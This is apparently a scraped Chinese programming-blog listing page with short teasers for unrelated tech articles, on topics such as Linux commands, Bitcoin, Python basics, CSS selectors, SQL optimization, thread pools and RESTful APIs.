大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 顺便拉下票,我在参加csdn博客之星竞选,欢迎投票支持,每个QQ或者微信每天都可以投5票,扫二维码即可,http://m234140.nofollow.ax.
比特币原理详解
一、什么是比特币 比特币是一种电子货币,是一种基于密码学的货币,在2008年11月1日由中本聪发表比特币白皮书,文中提出了一种去中心化的电子记账系统,我们平时的电子现金是银行来记账,因为银行的背后是国家信用。去中心化电子记账系统是参与者共同记账。比特币可以防止主权危机、信用风险。其好处不多做赘述,这一层面介绍的文章很多,本文主要从更深层的技术原理角度进行介绍。 二、问题引入 假设现有4个人...
Python 基础(一):入门必备知识
目录1 标识符2 关键字3 引号4 编码5 输入输出6 缩进7 多行8 注释9 数据类型10 运算符10.1 常用运算符10.2 运算符优先级 1 标识符 标识符是编程时使用的名字,用于给变量、函数、语句块等命名,Python 中标识符由字母、数字、下划线组成,不能以数字开头,区分大小写。 以下划线开头的标识符有特殊含义,单下划线开头的标识符,如:_xxx ,表示不能直接访问的类属性,需通过类提供
这30个CSS选择器,你必须熟记(上)
关注前端达人,与你共同进步CSS的魅力就是让我们前端工程师像设计师一样进行网页的设计,我们能轻而易举的改变颜色、布局、制作出漂亮的影音效果等等,我们只需要改几行代码,不需...
国产开源API网关项目进入Apache孵化器:APISIX
点击蓝色“程序猿DD”关注我回复“资源”获取独家整理的学习资料!近日,又有一个开源项目加入了这个Java开源界大名鼎鼎的Apache基金会,开始进行孵化器。项目名称:AP...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 欢迎 改进 留言。 演示地点跳到演示地点 html代码如下`&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;music&lt;/title&gt; &lt;meta charset="utf-8"&gt
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。 1. for - else 什么?不是 if 和 else 才
数据库优化 - SQL优化
前面一篇文章从实例的角度进行数据库优化,通过配置一些参数让数据库性能达到最优。但是一些“不好”的SQL也会导致数据库查询变慢,影响业务流程。本文从SQL角度进行数据库优化,提升SQL运行效率。 判断问题SQL 判断SQL是否有问题时可以通过两个表象进行判断: 系统级别表象 CPU消耗严重 IO等待严重 页面响应时间过长
2019年11月中国大陆编程语言排行榜
2019年11月2日,我统计了某招聘网站,获得有效程序员招聘数据9万条。针对招聘信息,提取编程语言关键字,并统计如下: 编程语言比例 rank pl_ percentage 1 java 33.62% 2 c/c++ 16.42% 3 c_sharp 12.82% 4 javascript 12.31% 5 python 7.93% 6 go 7.25% 7
通俗易懂地给女朋友讲:线程池的内部原理
餐厅的约会 餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”我楞了一下,心里想女朋友今天是怎么了,怎么突然问出这么专业的问题,但做为一个专业人士在女朋友面前也不能露怯啊,想了一下便说:“我先给你讲讲我前同事老王的故事吧!” 大龄程序员老王 老王是一个已经北漂十多年的程序员,岁数大了,加班加不动了,升迁也无望,于是拿着手里
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
编写Spring MVC控制器的14个技巧
本期目录 1.使用@Controller构造型 2.实现控制器接口 3.扩展AbstractController类 4.为处理程序方法指定URL映射 5.为处理程序方法指定HTTP请求方法 6.将请求参数映射到处理程序方法 7.返回模型和视图 8.将对象放入模型 9.处理程序方法中的重定向 10.处理表格提交和表格验证 11.处理文件上传 12.在控制器中自动装配业务类 ...
腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹?
昨天,有网友私信我,说去阿里面试,彻底的被打击到了。问了为什么网上大量使用ThreadLocal的源码都会加上private static?他被难住了,因为他从来都没有考虑过这个问题。无独有偶,今天笔者又发现有网友吐槽了一道腾讯的面试题,我们一起来看看。 腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹? 在互联网职场论坛,一名程序员发帖求助到。二面腾讯,其中一个算法题:64匹
面试官:你连RESTful都不知道我怎么敢要你?
面试官:了解RESTful吗? 我:听说过。 面试官:那什么是RESTful? 我:就是用起来很规范,挺好的 面试官:是RESTful挺好的,还是自我感觉挺好的 我:都挺好的。 面试官:… 把门关上。 我:… 要干嘛?先关上再说。 面试官:我说出去把门关上。 我:what ?,夺门而去 文章目录01 前言02 RESTful的来源03 RESTful6大原则1. C-S架构2. 无状态3.统一的接
求小姐姐抠图竟遭白眼?痛定思痛,我决定用 Python 自力更生!
点击蓝色“Python空间”关注我丫加个“星标”,每天一起快乐的学习大家好,我是 Rocky0429,一个刚恰完午饭,正在用刷网页浪费生命的蒟蒻...一堆堆无聊八卦信息的网页内容慢慢使我的双眼模糊,一个哈欠打出了三斤老泪,就在此时我看到了一张图片:是谁!是谁把我女朋友的照片放出来的!awsl!太好看了叭...等等,那个背景上的一堆鬼画符是什么鬼?!真是看不下去!叔叔婶婶能忍,隔壁老王的三姨妈的四表...
为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?
关于SQL和ORM的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行了一番讨论,感触还是有一些,于是就有了今天这篇文。 声明:本文不会下关于Mybatis和JPA两个持久层框架哪个更好这样的结论。只是摆事实,讲道理,所以,请各位看官勿喷。 一、事件起因 关于Mybatis和JPA孰优孰劣的问题,争论已经很多年了。一直也没有结论,毕竟每个人的喜好和习惯是大不相同的。我也看
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
致 Python 初学者
欢迎来到“Python进阶”专栏!来到这里的每一位同学,应该大致上学习了很多 Python 的基础知识,正在努力成长的过程中。在此期间,一定遇到了很多的困惑,对未来的学习方向感到迷茫。我非常理解你们所面临的处境。我从2007年开始接触 python 这门编程语言,从2009年开始单一使用 python 应对所有的开发工作,直至今天。回顾自己的学习过程,也曾经遇到过无数的困难,也曾经迷茫过、困惑过。开办这个专栏,正是为了帮助像我当年一样困惑的 Python 初学者走出困境、快速成长。希望我的经验能真正帮到你
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
加快推动区块链技术和产业创新发展,2019可信区块链峰会在京召开
11月8日,由中国信息通信研究院、中国通信标准化协会、中国互联网协会、可信区块链推进计划联合主办,科技行者协办的2019可信区块链峰会将在北京悠唐皇冠假日酒店开幕。   区块链技术被认为是继蒸汽机、电力、互联网之后,下一代颠覆性的核心技术。如果说蒸汽机释放了人类的生产力,电力解决了人类基本的生活需求,互联网彻底改变了信息传递的方式,区块链作为构造信任的技术有重要的价值。   1...
相关热词 c# 图片上传 c# gdi 占用内存 c#中遍历字典 c#控制台模拟dos c# 斜率 最小二乘法 c#进程延迟 c# mysql完整项目 c# grid 总行数 c# web浏览器插件 c# xml 生成xsd
立即提问